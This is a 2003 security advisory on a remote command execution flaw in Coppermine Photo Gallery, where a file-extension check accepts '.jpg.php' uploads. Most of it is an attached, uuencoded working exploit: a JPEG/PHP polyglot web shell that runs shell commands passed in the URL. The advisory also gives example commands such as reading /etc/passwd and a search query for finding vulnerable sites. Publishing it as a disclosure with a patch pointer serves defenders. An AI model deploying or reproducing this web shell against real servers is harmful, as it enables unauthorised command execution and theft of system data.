8th Apr 2003 [SBWID-6119]
COMMAND
Coppermine Photo Gallery remote command execution
SYSTEMS AFFECTED
Coppermine 1.0 RC3 - maybe prior versions
PROBLEM
Berend-Jan Wever [http://spoor12.edup.tudelft.nl] found following about
Coppermine Photo Gallery, a PHP script to generate photo galleries:
Coppermine allows the uploading of images onto a server by logged in
users and in a lot of configurations even anonymous uploading. The
upload script has a buggy extention checking routine which allows the
uploading of ".jpg.php" files. These files need to be a valid jpg-files
or Coppermine will delete them. It is trivial to create a file which is
a valid jpg and also a valid PHP script. Once uploaded, the PHP script
can then be executed, allowing access to the remote server under the
priviledges of the user PHP is running under.
Exploit
=======
Attached is a working exploit, upload this onto a vulnerable server and
execute it like this:
/albums/userpics/Copperminer.jpg.php?[command]
Where command can be something like "id;uname%20-a" or "cat%20/etc/passwd"
Note 1: MSIE will display Copperminer.jpg.php as an image, but lynx
will display the output of the command you gave it.
Note 2: http://www.google.com/search?q=allinurl%3A+/upload.php?album=
File
====
begin 644 sample.jpg.php
M_]C_X``02D9)1@`!`@``9`!D``#_[``11'5C:WD``0`$````````_^X`(3PA
M+2T@`&3``````0,`$`,"`P8```1````*?@``$['_VP"$`!L:&BD=*4$F)D%"
M+R\O0D<_/CX_1T='1T='1T='1T='1T='1T='1T='1T='1T='1T='1T='1T='
M1T='1T='1T<!'2DI-"8T/R@H/T<_-3]'1T='1T='1T='1T='1T='1T='1T='
M1T='1T='1T='1T='1T='1T='1T='1T='1T='1__"`!$(`(8!B@,!(@`"$0$#
M$0'_Q`"G```!!0$!`````````````````@,$!08!!P$!````````````````
M`````!```@,``0,#`P(&`P```````@,``00%$1(3(!05$#`&(31`4'`B(R0Q
M,C,1``$#`0,("`,&!@,!`0````$`$0(A,1(#05%A<9'1(C(0((&AL<$3,_#A
M0C!28I*R!%#Q<J(C%$#2XH)3$@$```````````````````!P_]H`#`,!``(1
M`Q$```#3`````#5>6IFH!M$8!HW,7&I-8SF0T2LV&MN?.;DV8A8"5`R]5$UO
M$1C>,8H->QEPOXE6\:J[I[<B.,))O(+P\JN=)B8RQ_D7A-XU$+%Z)+``&*S(
M&EIZ\.\`'F;T=F2IQ29C>X\KB<LKBR00;]N4&E\VTPA%+:FL*9X,CZ'1&1``
M`+FKU!83T+``3WH(6```F+#)\B+($NP9P`&4SWHV:,\3XPR=X$R&&JEXH-Y$
MQP:I['AM58A9M;#`2BSHK1H9DS4D&U$&@B3*4QP``%KJ*C0#P<.@```<(\G!
M[0?XH$<<!IT``.-/!6QKOAGV]$DSB-+PS*-.DR[.L;,=%VN;*X````+S48G<
M#6(]"SQ=8B=1@`#C;YJ:R_J#19_L`LJ^VJ#14L6(3KG/2!34*0;CN6U!T``"
M$/H&QS@CC@-#@-<>".B5P@L6:#/TVUC&2-1TRZ]-TSDB]=(&@:FG:*1BA(``
M``:.YP87]KCI1<V>:DG9\)XA*F`W$L'BHMTN%DE"S@L)"7`;'`;'`;'`;'`:
M'0:'09'@:'0;ZL$]Z!62LN4Z+APHUZ%XSSU\Z4+M\Z4+]XLIW+=15+L^E<N=
MTA*EA&[(!CKP-#H-C@`4Q<E0%N4TPFE!++0I>ER5T4MH,Z.3*:Z00K"NL0&Z
M0ORJ:)C;,LCO*C$URJ"XZVZ09U3()Q`8+:'#"Q?B59?U@L1PD#K]?8`-4I?U
MB7"Q`"#-:(2Y<<2IYXALS5$5NP:&9"^B($[@JBOD#8M0TS.21T2E%?(<>(;,
MQ9"XJ4<:E((CS_"*Q/40TSVAM$YL81*Z1'W%D0>Z(1)X0^3`<.``````````
M````````````````````````````````'__:``@!`@`!!0#^L/\`_]H`"`$#
M``$%`/ZP_P#_V@`(`0$``04`^V;!"'R68(?.Y1A?D2JA?D<O\B9!_(RB_P`A
M241H7H'TWH54O6BI?(YJE\KEJ%SF487Y`BH7Y&,/\A=<9S6HYPZS[.O67I,R
MK10A3UV"]"VW6M-DW0M5EH6$+6D(.I1$.BHO0MM^Y5W^X51>MCUJC>:RKC?R
M*HSG=)QF[0R4MC(0V/KX(R!_?7665#]=W%HT5JR,REZLZO*:#LH%=*3?M8=V
MUC$5:A6)L%`D@D=&JRB+*37G',-+//U7::IB\E4O.@1+T/TJSUH_(:J/Y72Z
M7=E?T0@G$C.M,HC*,3;*<'C/T"-E>)'@I?(]^RKZS\@U="Q<Z8P"[Q(>Z:\G
MD'3G+.?IP)[1R*Z5]3&CJ`%!7H(J"DZUNN[Z1;@;Z.5Y2\D8PF%Z<*NU:,O6
M"D:FJR6L^,T]:X]DKCBGQUPN/.IFRTF/[email protected]`#-9.R\7R#-
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
MQ3XD1,62B?BU>K^W+PS91\;[email protected]_&4=JGA2XL+$C(`Z6I\U$#ZN(]O
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
>("DN(CPO4%)%/B(["C\^/"]"3T19/@H\+TA434P^
`
end
SOLUTION
Patch available on software web site: http://www.chezgreg.net/coppermine/